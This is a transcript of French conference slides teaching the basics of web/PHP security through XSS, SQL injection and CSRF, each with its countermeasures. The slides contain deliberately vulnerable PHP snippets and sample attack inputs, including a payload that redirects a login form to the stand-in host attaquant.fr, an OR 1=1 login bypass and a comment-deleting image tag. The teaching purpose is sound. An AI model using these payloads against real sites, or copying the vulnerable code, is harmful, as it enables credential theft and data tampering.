conférence #nwxtech2 : sécurité web/php par maxime mauchaussée

23
 Introduction à la Sécurité des Introduction à la Sécurité des Applications Web / PHP Applications Web / PHP Principes de bases Principes de bases XSS XSS Injection SQL Injection SQL CSRF CSRF Maxime Mauchaussée Maxime Mauchaussée [email protected] [email protected] @maximemdotnet @maximemdotnet http://www.wixiweb.fr http://www.wixiweb.fr @wixiweb @wixiweb

Upload: normandie-web-xperts

Post on 27-Jun-2015

984 views

Category:

Technology


0 download

TRANSCRIPT

Page 1: Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée

   

Introduction à la Sécurité des Introduction à la Sécurité des Applications Web / PHPApplications Web / PHP

Principes de basesPrincipes de bases XSSXSS Injection SQLInjection SQL CSRFCSRF

Maxime MauchausséeMaxime Mauchaussée

[email protected]@wixiweb.fr

@maximemdotnet@maximemdotnet

http://www.wixiweb.frhttp://www.wixiweb.fr

@wixiweb@wixiweb

Page 2: Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée

   

Plan

Principes de bases de sécurisations Failles de type XSS

Définition Exemples / Exploitation Contre­mesures

Failles de type SQL Injection Définition Exemples / Exploitation Contre­mesures

Failles de type CSRF Définition Exemples / Exploitation Contre­mesures

Conclusion

Page 3: Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée

   

Principes de bases

Ne jamais faire confiance aux données ne provenant pas de votre propre code

Paramètres d'URL, cookies, données de formulaire, etc. API, fichier d'import, base de données, etc. Variables d'environnement (user agent, referer, host, etc.)

Éviter de permettre la saisie de balises HTML L'utilisation de la balise <img> doit être extrêmement encadrée Interdire l'utilisation des attributs dangereux tels que « style » et 

« onload » Ne jamais minimiser l'importance d'une faille

Toutes failles peut potentiellement être un jour exploitée Corriger le plus rapidement possible toute faille découverte

Page 4: Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée

   

Failles de type XSS ­ Définition

XSS : Cross Site Scripting

Le principe est d'injecter des données arbitraires dans un site web [...] Si ces données arrivent telles quelles dans la page web transmise au navigateur sans avoir été vérifiées, alors il existe une faille [Wikipedia]

Injection de code HTML ou Javascript 

Le contenu injecté est utilisé pour pièger un utilisateur

Page 5: Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée

   

Failles de type XSS – Exemple basique

Exemple de site web banal :

Page 6: Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée

   

Failles de type XSS – Exemple basique

Fichier de vue PHP :<form action="recherche.php" method="get"><input type="text" name="q" value="<?php echo $_GET['q']; ?>" /><input type="submit" value="recherche" /></form>

Données saisies et envoyées au serveur :"/><script type="text/javascript">alert('faille xss')</script><"

HTML compromis retourné par le serveur :<input type="text" name="q" value=""/><script type="text/javascript">alert('faille xss')</script><"" />

Page 7: Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée

   

Failles de type XSS – Exemple basique

« PAF ! Pastèque ! » :

Page 8: Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée

   

Failles de type XSS – Exploitations

Dégradation de l'image / la réputation du site

Redirection automatique

Initialisation de téléchargement de fichiers vérolés

Vol d'identifiants

Détournement de session (hijacking)

Fixation de session

Page 9: Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée

   

Failles de type XSS – Exemples d'exploit

Détournement de l'attribut « action » du formulaire d'authentification par injection :

"/><script>document.forms[0].action='http://attaquant.fr/owned.php';</script><"

Les utilisateurs enverront leurs identifiants vers le scripts défini par l'attaquant

Possibilité de redirection (parfois transparente) vers la page légitime

Page 10: Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée

   

Failles de type XSS – Contre­mesures

Filtrer / nettoyer les données en entrée :

Toute donnée a un format : longueur, bornes, etc.

filter_var() ou filter_input()

strip_tags() en second choix

Ne pas autoriser la saisie de balises HTML

Et en sortie :

htmlspecialchars()

Page 11: Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée

   

Failles de type SQL Injection ­ Définition

Injection SQL

Terme qui désigne l'interprétation imprévue d'un code SQL dans une application. Ce code a été introduit par une voie détournée. [CERTA]

Page 12: Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée

   

Failles de type SQL Injection – Exemple

Bypass de l'authentification :

Page 13: Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée

   

Failles de type SQL Injection – Exemple

Code PHP :

mysql_query("SELECT id, login, profil FROM user WHERE login = '" . $_POST['login'] . "' AND password = '" . $_POST['password'] . "';");

Données saisies dans le champ « login » :

' OR 1 = 1 --

Interpretation de la requête SQL par PHP :

SELECT id, login, profil FROM user WHERE login = '' OR 1 = 1 --' AND password = ''

Page 14: Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée

   

Failles de type SQL Injection ­ Exploitation

Cette technique permet, [...] à un utilisateur malveillant de modifier la base de données, ou accéder à des informations qui ne lui sont pas destinées. [CERTA]

Privilege escalation – augmentation de droit d'accès

Vols de données

Destruction de données

Injection de code malveillant

Page 15: Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée

   

Failles de type SQL Injection – Contre­mesures

addslashes()

SELECT id, login, profil FROM user WHERE login = '\' OR 1 = 1 --' AND password = ''

mysql_real_escape_string()

Requêtes préparées

Requêtes préparées > mysql_real_escape_string > addslashes

Ne pas utiliser le compte SQL « root » pour votre application

Page 16: Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée

   

Failles de type CSRF ­ Définition

Cross­Site Request Forgery

Injection de requêtes illégitimes par rebond [CERTA]

Attaque provoquant l'envoi de requêtes par la victime, vers un site vulnérable, à son insu et en son nom. [CERTA]

N'exploite pas forcément l'absence de validation

Page 17: Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée

   

Failles de type CSRF – Exemple basique

Système de commentaires :

Page 18: Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée

   

Failles de type CSRF – Exemple

Un lien est fournit pour supprimer un de ses commentaires :http://sitemalfichu.fr/delete_comment?id=2

Prédiction de l'identifiant du commentaire de la victime par l'attaquant :

http://sitemalfichu.fr/delete_comment?id=1

Insertion d'une balise image dans un commentaire par l'attaquant :

<img src="http://sitemalfichu.fr/delete_comment?id=1" />

 Au chargement de la page par la victime, elle supprime son commentaire

Page 19: Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée

   

Failles de type CSRF – Exploitation

Suppression de données : message, compte utilisateur, etc.

Publication de messages : désinformation, spam, virus, etc.

Changement de mot de passe

Changement d'adresse email

Triche à des concours ou sondages

Page 20: Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée

   

Failles de type CSRF – Contre­mesures

Utiliser la méthode HTTP POST

Bannir l'utilisation de $_REQUEST

Mettre en place un système de tokens pour les actions les plus sensibles

Interdire la possibilité de saisie de balises HTML

Page 21: Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée

   

Conclusion

Ne jamais faire confiance aux données ne provenant pas de votre propre code

Toute donnée a un format : longeur, bornes, volume, etc.

Toujours filtrer / nettoyer ces données en entrée et en sortie

Corriger les failles le plus rapidement possible

La sécurité des applications web ne s'arrête pas là : configuration de PHP, du serveur web, de l'infrastructure réseau, etc. 

Page 22: Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée

   

Questions ­ Réponses

Exemples de questions si vous n'avez pas d'idée :

Comment détecter de telles failles dans mon application ?

Pouvez­vous citer d'autres exemples d'attaques XSS / CSRF ?

Quelles autres bonne pratiques peut on appliquer pour sécuriser des application web ?

Qu'est ce qu'une « blind sql injection » ?

Où trouvez des informations complémentaires à ce sujet ?

Existe­t­il d'autres types de failles ?

Page 23: Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée

   

Merci de votre attention :)

Contact :

[email protected]

https://twitter.com/maximemdotnet

https://identi.ca/maximemdotnet

http://www.wixiweb.fr/